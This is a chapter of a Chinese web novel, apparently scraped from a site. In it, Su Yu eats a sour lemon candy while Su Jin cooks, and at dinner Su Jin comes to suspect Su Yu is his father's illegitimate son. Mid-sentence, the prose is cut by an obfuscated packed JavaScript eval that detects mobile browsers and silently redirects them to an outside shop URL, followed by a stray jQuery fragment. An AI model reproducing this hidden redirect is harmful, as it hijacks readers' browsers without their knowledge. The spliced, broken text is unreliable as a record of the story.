苏瑾怔了怔,随即反应过来,没忍住笑出声:“商家放混了吧。”
苏瑜点点头,酸味还在顺着舌根往上冲,刺激得眼睛都泛起一点生理性水意。
他皱着眉,试图想把那股酸味压下去,可糖在嘴里化得越多,那股酸味越明显。
苏瑾一看就知道怎么回事。这种柠檬糖并不是外面裹一层酸粉,吃完里面就会变甜,而是糖本身就是酸的,越到后面酸味越重,最后能吃得人舌根发麻。
他看着苏瑜,越看越想笑。刚才还因为陶宁来了紧张得恨不得找地缝钻,现在倒好,活像个皱巴巴的小苦瓜。
“吐了吧。”他随手把桌面上的小垃圾桶往他那边勾了勾。
苏瑜犹豫了几秒,还是把糖吐进纸巾里,仔细包好丢进垃圾桶。嘴里酸味还没散干净,他又接连吸了好几口气,才终于缓过来。
苏瑾站在旁边看着,眼底的笑意没半点收敛,偏偏还要故意逗他:“还是我这个甜。”
苏瑜:“……”
他抬眼看了一眼苏瑾,最后默默把脸转开,决定暂时不理这个人。
苏瑾收回视线,继续低头切肉,柠檬糖在嘴里转了一圈,被他抵到一侧。
“这牌子挺难找的,你怎么知道的?”
苏瑜心里刚冒出来的那点别扭被突然截断。虽然刚在心里决定暂时不理他,但真听见对方开口,他又没办法装作没听见。
他斟酌着开口:“是哥……个朋友推荐的。他以前好像挺爱吃的。”
那一声不太自然的停顿,让苏瑾的注意力偏了偏,刀刃落下的动作也跟着歪了一寸,擦着指甲划过去,险些切到指尖。
他收了收手,抬眼看过去,关注点很奇特:“好像?”
苏瑜一下子没了声音。刚才那句话说得本来就虚,现在被这么一问,更是不知道该接什么。
他总不能告诉迟哥,自己根本没见过这个所谓的“朋友”。之所以知道这个牌子的糖,也是因为□□记里写过,他其实也不确定哥哥到底爱不爱吃。
苏瑜指尖捏了捏衣角,小声补了一句:“就……他以前经常买。”
苏瑾看着他的眼神深了深。他当然听得出这话里的含糊,但也不打算继续为难他,没再追着问。
心里某个猜测又清楚了几分,不过还需要再验证一下。
苏瑾重新低头,像是随口一提:“你这朋友也不一定是爱吃,也许只是拿来提神。我说的是酸的那种。”
哥哥的日记里的确是这么写的。
苏瑜猛地抬头,刚想说“你怎么知道”,又硬生生收住,低低应了一句:“……也许吧。”
苏瑾又深深看了他一眼,两个人没再继续这个话题,自顾自地干着手里的活。
苏瑜把剩下的菜洗完,放在一边控水,站在水池边环视一圈,好像没什么能帮忙的了。
他的视线落到厨房门口。是不是该出去了?可外面有迟哥的妈妈。
虽然刚才那点紧张已经被两颗柠檬糖折腾散了,可真要让他这么出去和长辈面对面坐着,还是有点发怵,一时站在原地没动。
苏瑾很快察觉到旁边动静停了,顺着他的视线扫了一眼厨房关着的门,顿时明白了。
他朝这边走过来:“饿不饿?”
苏瑜往旁边让了两步:“还好。”
苏瑾打开冰箱门拿出一袋酸奶,随手递给他,又朝厨房角落扬了扬下巴:“还好就是饿了。去那边坐会儿。”
角落里放着一张小板凳。
苏瑜下意识摆手推辞:“我不用……”
“你站着也没什么事,”苏瑾把酸奶塞他手里,“坐着等吧,马上就好。”
苏瑜只好接过,又说了声“谢谢迟哥”。
苏瑾已经转身去开灶:“你今天几点下的课?”
苏瑜坐在小板凳上,酸奶还捏在手里,没有拆开:“五点多。”
苏瑾一边伸手试着锅里的温度,一边随口闲聊:“你们周几课多?”
苏瑜认真想了想:“周一和周三比较多,周二还好,周四下午没课,周五……”
话说到这里,他顺着刚才的问题,干脆把一周的课表都大致说了一遍。
苏瑾背对着他,手里动作没停,唇角悄悄扬了起来。他还没问呢,小孩自己倒是交代的挺彻底。
等他说完,苏瑾十分不经意地又来了一句:“那周一几点下课?”
苏瑜老老实实回答:“周一下午——”
苏瑾一心二用地听着,对方说完一句,他便应上一声,然后又接着问了其他几天的下课时间。
他说话的语气太过自然,苏瑜也没觉得哪里不对,直到一周的下课时间都被问完,才后知后觉地品出一点不对劲。
是不是……问得有点太细了?
苏瑜坐在小板凳上,撑着下巴想了想。迟哥大概是怕自己一个人坐在这里不自在,所以才故意找点话和他说吧——人还怪好的。
如此想着,便彻底放下心中的疑惑,继续安安静静地坐在那里,心情也轻松不少。
他低头摆弄着手里那袋一直没拆开的酸奶,捏的包装袋一会儿鼓起来,一会儿又扁下去。
苏瑾余光瞥见这一幕,唇角的笑意更深了些。苏瑜的心思实在太好猜,几乎都写在脸上,他只这么看一眼,就能猜到对方刚才在想什么。
人都快被自己套干净了,居然还在那里认真替自己找理由。
他看着那袋被当做捏捏的酸奶,无声叹了口气。之前就觉得这小孩有点好骗,现在看着,似乎还真是。
苏瑜察觉到什么,抬起头来,却只看到苏瑾忙碌的背影,背后围裙系着成的蝴蝶结随着他的动作晃动着。
对方平时总爱穿宽松衣服,此刻也是一身黑色家居服,肩背被柔软的布料笼着,透着一股很舒服的气质。
站在灶台前,衣服随着抬手、转身的动作绷出些许轮廓,肩膀和后背的线条全跟着清清楚楚地显露出来。
虽然还算不上多结实,却已经能看出这两个月好好养回来的痕迹。
苏瑜的视线不自觉地跟着他的背影走。肩胛骨随着他取调料瓶的动作在布料若隐若现地滑动,收紧、又松开;脊沟沿着后背中间微微凹陷下去,被黑色衣料衬出一道浅影;围裙系带收在腰上,腰线很明显的凹进去一截,显得肩膀更宽了些。
他盯着看了好一会儿,视线慢慢上移,落到对方挽起袖子的小臂上。
皮肤被热气熏的泛了点红,肌肉线条流畅,用力时能看见浅浅的经脉。
锅里的油热起来,苏瑾把切好的菜倒进去,随着“哗”的一声,热气从锅里升腾而起,很快被上方的油烟机吸走。
他手腕一转,锅铲利落地在锅里翻了两下,动作熟练又自然。
平时的迟哥总是一副懒洋洋的样子,站着的时候也像没什么骨头,什么事情都提不起太大兴趣。
可拿起锅铲以后,那股散漫劲却忽然收了起来,举手投足间透着反差,一时让人难以移开视线。
看太久了,有点不礼貌。
苏瑜捏着手里的酸奶,低头收回视线,却又总忍不住瞟回去。
厨房里很快有了饭菜的香味,空气里混着油烟机低低的声音,暖融融的。
苏瑾做饭的时候倒也没冷落他,时不时和他搭两句话,还偶尔回头看他一眼。苏瑜坐在小板凳上,认认真真应着。
油烟机嗡嗡地响,锅里的菜咕嘟咕嘟冒着泡。苏瑜低头盯着地面,忽然没由来地想:要是这锅汤永远烧不开就好了。
可惜没过多久,苏瑾就关了火,回头对他说:“行了,端菜。”
苏瑜“嗯”了一声,有些依依不舍地从小板凳上起身。
……
苏瑾坐下后,顺手拿起旁边的公筷给陶宁夹了一筷子菜,语气妥帖:“妈妈,尝尝。”
陶宁的目光在那双筷子上停了了一瞬,夹起来尝了尝,笑道:“还真不错。”
苏瑾没注意到她吃完的神情有片刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17840614|211632||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
复杂,给旁边站着的苏瑜递了双筷子:“坐呀,吃饭。”
苏瑜有些拘谨地坐在苏瑾旁边:“谢谢迟哥。”
陶宁看着俩人的互动,目光落在苏瑜身上:“你叫苏瑜?”
苏瑜握着筷子的手微微一紧:“是的,阿姨。”
陶宁笑着问:“本地人吗?”
“嗯,本地的。”
苏瑾不知道为什么陶宁为什么突然问起这些,只当她是和小辈寒暄,然而下一句——
“你爸爸是苏明志?”
苏瑜和苏瑾几乎同时愣了一下。
“您认识我爸爸?”苏瑜有些惊讶。
“认识。”陶宁缓缓道,“我们是高中同学。”
筷子碰在碗沿上,发出一声轻响。苏瑾垂着眼,唇角牵起一点似笑非笑的弧度,咬牙切齿道:“这么巧啊……”
他说得轻描淡写,实则脑子里早就有什么东西轰然撞在了一起。
他瞥了一眼坐在自己旁边的苏瑜,对方依旧坐得端端正正,神色自然得不能再自然,怎么看都和“私生子”三个字搭不上边。
所以他爸当年到底是什么时候在外面……不对,他总觉得苏明志不是那种人。
至少在他的记忆里,父母的感情一直很好,两个人从年轻的时候一路走过来,连拌嘴都很少有。
这样的家庭,怎么会突然冒出来一个孩子?
可眼前这个苏瑜,又实实在在坐在这里,而且刚才还亲口承认,他爸爸就是苏明志,本地的、澜城的苏明志。
苏瑾顿感一阵头疼,忽然有点不知道该用什么眼神看人。
算了,先不想。不管他爸当年干了什么事,这小孩总归什么都不知道。
他在心里安慰自己一遍又一遍,勉强把那点迁怒压了下去。
对面的陶宁完全不知道自己儿子已经在心里演完了一出家庭伦理剧,还在继续问苏瑜:“家里都还好吗?”
“都挺好的。”苏瑜礼貌回答。
这话一出,苏瑾忽然嗤笑了一声,有点没收住情绪,陶宁和苏瑜同时看了过来。
“家树,你笑什么?”
“没什么。”苏瑾面不改色地夹了口菜,“忽然想起点事。”
他慢慢嚼着嘴里的菜,味同嚼蜡。
挺好?
私生子都有了,他们夫妻感情居然没出问题吗?还是说……根本没人知道?
但他又很快想起来,上次在小区楼下看见司机李叔的时候,李叔还叫过苏瑜“小少爷”,那就说明苏家人应该都知道他的存在。
而且李叔当时的态度客气得很,完全不像在面对一个见不得光的私生子。
苏瑾眉心一点点皱起来,太阳穴也隐隐作痛。
何惊绾到底知不知道苏瑜的存在?
如果她知道,那是怎么做到家里一切都好的?如果她不知道,那苏明志又是怎么把这个孩子藏了这么多年的?
越想越离谱。
苏瑾甚至都开始回忆自己小时候,试图从记忆里翻出一点蛛丝马迹。
他爸妈以前吵过架?没有。
有没有哪段时间父亲经常不回家?好像也没有。
有没有什么奇怪的电话、陌生的女人?那就更没有了。
他的记忆里,父母一直都是好好的。一家人一起吃饭,一起出门,聚在一起其乐融融得过了二十多年。
私生子?开玩笑的吧。
苏瑾怎么想都想不明白,再次抬眼看向旁边的人。
苏瑜正低头吃着饭,时不时停下筷子回应陶宁的问题,安静又乖巧,完全置身事外。丝毫不知道自己已经莫名其妙成了这顿饭最让他头疼的存在。
苏瑾看了他半晌,试图说服自己:算了,孩子是无辜的。
收回视线,又在心里补了一遍:孩子是无辜的。
可这到底是怎么回事?
……
苏瑾闭了闭眼。
——一顿饭怎么能吃这么累。